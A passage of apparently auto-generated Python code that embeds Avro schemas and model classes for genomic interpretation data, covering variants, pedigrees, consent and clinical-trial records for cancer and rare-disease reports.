"ProgrammePhase"], "doc": ""}, {"name": "clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "matchedSamples", "type": {"type": "array", "items": {"type": "record", "name": "MatchedSamples", "doc": "", "fields": [{"name": "germlineSampleId", "type": ["null", "string"], "doc": ""}, {"name": "tumourSampleId", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "versionControl", "type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}]}], "doc": ""}, {"name": "otherFamilyHistory", "type": ["null", {"type": "record", "name": "OtherFamilyHistory", "doc": "", "fields": [{"name": "maternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "paternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}]}], "doc": ""}, {"name": "genePanelsCoverage", "type": ["null", {"type": "map", "values": {"type": "map", "values": {"type": "map", "values": "float"}}}], "doc": ""}, {"name": "interpretationFlags", "type": ["null", {"type": "array", "items": {"type": "record", "name": "InterpretationFlag", "doc": "", "fields": [{"name": "interpretationFlag", "type": {"type": "enum", "name": "InterpretationFlags", "doc": "", "symbols": ["mixed_chemistries", "mixedLab_preparation", "low_tumour_purity", "uniparental_isodisomy", "uniparental_heterodisomy", "unusual_karyotype", "high_cnv_count", "high_estimate_human_contamination_fraction", "mixed_recruiting_gmc", "suspected_mosaicism", "low_quality_sample", "ffpe_tumour_sample", "ff_nano_tumour_sample", "missing_values_for_proband_in_reported_variant", "reissued", "supplementary_report_errors", "internal_use_only", "high_priority", "other"]}, "doc": ""}, {"name": "additionalDescription", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "additionalInfo", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}}, {"name": "tieringResult", "type": ["null", {"type": "record", "name": "InterpretedGenome", "doc": "", "fields": [{"name": "versionControl", "type": "ReportVersionControl", "doc": ""}, {"name": "interpretationRequestId", "type": "string", "doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "interpretationService", "type": "string", "doc": ""}, {"name": "reportUrl", "type": ["null", "string"], "doc": ""}, {"name": "variants", "type": ["null", {"type": "array", "items": {"type": "record", "name": "SmallVariant", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""}]}, "doc": ""}, {"name": "variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing", "half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous", "unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name": "PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type": ["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""}, {"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name": "numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null", "int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant", "paternal_variant", "pedigree_specific_variant", "population_specific_variant", "somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking", "inrepeat"]}}]}]}}, "doc": ""}, {"name": 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"record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name": "drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", 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{"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name": "recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null", "float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}]}]}}], "doc": ""}, {"name": "structuralVariants", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StructuralVariant", "fields": [{"name": "variantType", "type": {"type": "enum", "name": "StructuralVariantType", "symbols": ["ins", "dup", "inv", "amplification", "deletion", "dup_tandem", "del_me", "ins_me"]}, "doc": ""}, {"name": "coordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null", "VariantAttributes"]}]}}], "doc": ""}, {"name": "chromosomalRearrangements", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ChromosomalRearrangement", "fields": [{"name": "breakPoints", "type": ["null", {"type": "array", "items": {"type": "record", "name": "BreakPoint", "fields": [{"name": "coordinates", "type": "Coordinates"}, {"name": "reference", "type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]}, {"name": "info", "type": ["null", {"type": "map", "values": "string"}]}]}}]}, {"name": "rearrangements", "type": {"type": "array", "items": {"type": "record", "name": "Rearrangement", "fields": [{"name": "leftCoordinates", "type": "Coordinates"}, {"name": "rightCoordinates", "type": "Coordinates"}, {"name": "orientation", "type": {"type": "enum", "name": "Orientation", "symbols": ["start_start", "start_end", "end_end"]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}]}}}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null", "VariantAttributes"]}]}}], "doc": ""}, {"name": "shortTandemRepeats", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ShortTandemRepeat", "fields": [{"name": "coordinates", "type": "Coordinates"}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null", "VariantAttributes"]}, {"name": "shortTandemRepeatReferenceData", "type": ["null", {"type": "record", "name": "ShortTandemRepeatReferenceData", "fields": [{"name": "repeatedSequence", "type": "string"}, {"name": "pathogenic_number_of_repeats_threshold", "type": "int"}, {"name": "normal_number_of_repeats_threshold", "type": "int"}]}]}]}}], "doc": ""}, {"name": "uniparentalDisomies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomy", "fields": [{"name": "assembly", "type": "Assembly", "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": ["null", "boolean"], "doc": ""}, {"name": "origin", "type": {"type": "enum", "name": "UniparentalDisomyOrigin", "symbols": ["paternal", "maternal", "unknown"]}, "doc": ""}, {"name": "uniparentalDisomyFragments", "type": ["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomyFragment", "fields": [{"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols": ["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}}], "doc": ""}, {"name": "participantId", "type": "string", "doc": ""}, {"name": "uniparentalDisomyEvidences", "type": ["null", {"type": "record", "name": "UniparentalDisomyEvidences", "fields": [{"name": "ibds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name": "relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type": "float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]}], "doc": ""}]}}], "doc": ""}, {"name": "karyotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Karyotype", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "aneuploidies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Aneuploidy", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc": ""}, {"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "numberOfCopies", "type": "int", "doc": ""}]}}], "doc": ""}, {"name": "numberOfChromosomes", "type": "int", "doc": ""}, {"name": "personKaryotipicSex", "type": {"type": "enum", "name": "PersonKaryotipicSex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}, "doc": ""}, {"name": "participantId", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "referenceDatabasesVersions", "type": {"type": "map", "values": "string"}, "doc": ""}, {"name": "softwareVersions", "type": {"type": "map", "values": "string"}, "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}]}]}, {"name": "otherInterpretationResults", "type": ["null", {"type": "array", "items": "InterpretedGenome"}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "interpretationMetaData", "otherInterpretationResults", "tieringResult", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'interpretationMetaData': CancerInterpretationRequest, 'otherInterpretationResults': InterpretedGenome, 'tieringResult': InterpretedGenome, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'interpretationMetaData': CancerInterpretationRequest, 'otherInterpretationResults': InterpretedGenome, 'tieringResult': InterpretedGenome, } return embeddedTypes[fieldName] __slots__ = [ 'interpretationMetaData', 'otherInterpretationResults', 'tieringResult' ] def __init__(self, **kwargs): self.interpretationMetaData = kwargs.get( 'interpretationMetaData', CancerInterpretationRequest()) self.otherInterpretationResults = kwargs.get( 'otherInterpretationResults', None) self.tieringResult = kwargs.get( 'tieringResult', None) class InterpretationDataRd(ProtocolElement): """ Represents the set of all interpretation data (excluding file contents) to be stored in MDT for one TieringResult. Semantic restrictions (not automatically verifiable): * All InterpretedGenomes in interpretationResults refer to the TieringResult tieringResult. * All InterpretedGenomes in interpretationResults have passed the QC stage and have been approved by the originating GMCs """ _schemaSource = """ {"type": "record", "name": "InterpretationDataRd", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "interpretationMetaData", "type": {"type": "record", "name": "InterpretationRequestRD", "doc": "", "fields": [{"name": "versionControl", "type": {"type": "record", "name": "ReportVersionControl", "fields": [{"name": "gitVersionControl", "type": "string", "doc": "", "default": "6.0.0"}]}, "doc": ""}, {"name": "interpretationRequestId", "type": "string", "doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "internalStudyId", "type": "string", "doc": ""}, {"name": "familyInternalId", "type": ["null", "string"], "doc": ""}, {"name": "genomeAssembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "workspace", "type": {"type": "array", "items": "string"}, "doc": ""}, {"name": "bams", "type": ["null", {"type": "array", "items": {"type": "record", "name": "File", "doc": "", "fields": [{"name": "sampleId", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "uriFile", "type": "string", "doc": ""}, {"name": "fileType", "type": {"type": "enum", "name": "FileType", "symbols": ["BAM", "gVCF", "VCF_small", "VCF_somatic_small", "VCF_CNV", "VCF_somatic_CNV", "VCF_SV", "VCF_somatic_SV", "VCF_SV_CNV", "SVG", "ANN", "BigWig", "MD5Sum", "ROH", "OTHER", "PARTITION", "VARIANT_FREQUENCIES", "COVERAGE"]}, "doc": ""}, {"name": "md5Sum", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "vcfs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "bigWigs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "pedigreeDiagram", "type": ["null", "File"], "doc": ""}, {"name": "annotationFile", "type": ["null", "File"], "doc": ""}, {"name": "otherFiles", "type": ["null", {"type": "map", "values": "File"}], "doc": ""}, {"name": "pedigree", "type": ["null", {"type": "record", "name": "Pedigree", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "versionControl", "type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}, {"name": "LDPCode", "type": ["null", "string"], "doc": ""}, {"name": "familyId", "type": "string", "doc": ""}, {"name": "members", "type": {"type": "array", "items": {"type": "record", "name": "PedigreeMember", "doc": "", "fields": [{"name": "pedigreeId", "type": ["null", "int"], "doc": ""}, {"name": "isProband", "type": ["null", "boolean"], "doc": ""}, {"name": "participantId", "type": ["null", "string"], "doc": ""}, {"name": "participantQCState", "type": ["null", {"type": "enum", "name": "ParticipantQCState", "doc": "", "symbols": ["noState", "passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""}, {"name": "gelSuperFamilyId", "type": ["null", "string"], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "personKaryotypicSex", "type": ["null", {"type": "enum", "name": "PersonKaryotipicSex", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}], "doc": ""}, {"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name": "fatherId", "type": ["null", "int"], "doc": ""}, {"name": "motherId", "type": ["null", "int"], "doc": ""}, {"name": "superFatherId", "type": ["null", "int"], "doc": ""}, {"name": "superMotherId", "type": ["null", "int"], "doc": ""}, {"name": "twinGroup", "type": ["null", "int"], "doc": ""}, {"name": "monozygotic", "type": ["null", {"type": "enum", "name": "TernaryOption", "doc": "", "symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name": "adoptedStatus", "type": ["null", {"type": "enum", "name": "AdoptedStatus", "doc": "", "symbols": ["notadopted", "adoptedin", "adoptedout"]}], "doc": ""}, {"name": "lifeStatus", "type": ["null", {"type": "enum", "name": "LifeStatus", "doc": "", "symbols": ["ALIVE", "ABORTED", "DECEASED", "UNBORN", "STILLBORN", "MISCARRIAGE"]}], "doc": ""}, {"name": "consanguineousParents", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "affectionStatus", "type": ["null", {"type": "enum", "name": "AffectionStatus", "doc": "", "symbols": ["UNAFFECTED", "AFFECTED", "UNCERTAIN"]}], "doc": ""}, {"name": "disorderList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Disorder", "doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""}, {"name": "diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease", "type": ["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}, {"name": "hpoTermList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "HpoTerm", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""}, {"name": "termPresence", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "hpoBuildNumber", "type": ["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record", "name": "HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum", "name": "Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name": "progression", "type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE", "NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity", "symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern", "type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED", "LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum", "name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET", "INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET", "MIDDLE_AGE_ONSET"]}], "doc": ""}]}}], "doc": ""}, {"name": "ancestries", "type": ["null", {"type": "record", "name": "Ancestries", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type": ["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A", "B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name": "mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name": "fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type": {"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR", "SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name": "KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM", "ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL", "PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}], "doc": ""}]}], "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name": "ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""}, {"name": "samples", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Sample", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", 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{"name": "multipleGeneticOrigins", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "diseasePenetrances", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DiseasePenetrance", "doc": "", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "penetrance", "type": {"type": "enum", "name": "Penetrance", "doc": "", "symbols": ["complete", "incomplete"]}, "doc": ""}]}}], "doc": ""}, {"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "familyQCState", "type": ["null", {"type": "enum", "name": "FamilyQCState", "doc": "", "symbols": ["noState", "passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""}]}], "doc": ""}, {"name": "otherFamilyHistory", "type": ["null", {"type": "record", "name": "OtherFamilyHistory", "doc": "", "fields": [{"name": "maternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "paternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}]}], "doc": ""}, {"name": "genePanelsCoverage", "type": ["null", {"type": "map", "values": {"type": "map", "values": {"type": "map", "values": "float"}}}], "doc": ""}, {"name": "interpretationFlags", "type": ["null", {"type": "array", "items": {"type": "record", "name": "InterpretationFlag", "doc": "", "fields": [{"name": "interpretationFlag", "type": {"type": "enum", "name": "InterpretationFlags", "doc": "", "symbols": ["mixed_chemistries", "mixedLab_preparation", "low_tumour_purity", "uniparental_isodisomy", "uniparental_heterodisomy", "unusual_karyotype", "high_cnv_count", "high_estimate_human_contamination_fraction", "mixed_recruiting_gmc", "suspected_mosaicism", "low_quality_sample", "ffpe_tumour_sample", "ff_nano_tumour_sample", "missing_values_for_proband_in_reported_variant", "reissued", "supplementary_report_errors", "internal_use_only", "high_priority", "other"]}, "doc": ""}, {"name": "additionalDescription", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "additionalInfo", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}}, {"name": "tieringResult", "type": ["null", {"type": "record", "name": "InterpretedGenome", "doc": "", "fields": [{"name": "versionControl", "type": "ReportVersionControl", "doc": ""}, {"name": "interpretationRequestId", "type": "string", "doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "interpretationService", "type": "string", "doc": ""}, {"name": "reportUrl", "type": ["null", "string"], "doc": ""}, {"name": "variants", "type": ["null", {"type": "array", "items": {"type": "record", "name": "SmallVariant", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""}]}, "doc": ""}, {"name": "variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing", "half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous", "unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name": "PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type": ["null", "double"], "doc": ""}, {"name": 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"items": {"type": "record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", 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["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", "org.gel.models.participant.avro.Penetrance"], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening", "health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name": "demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name": "DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": "org.gel.models.participant.avro.Sex"}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type": "enum", "name": 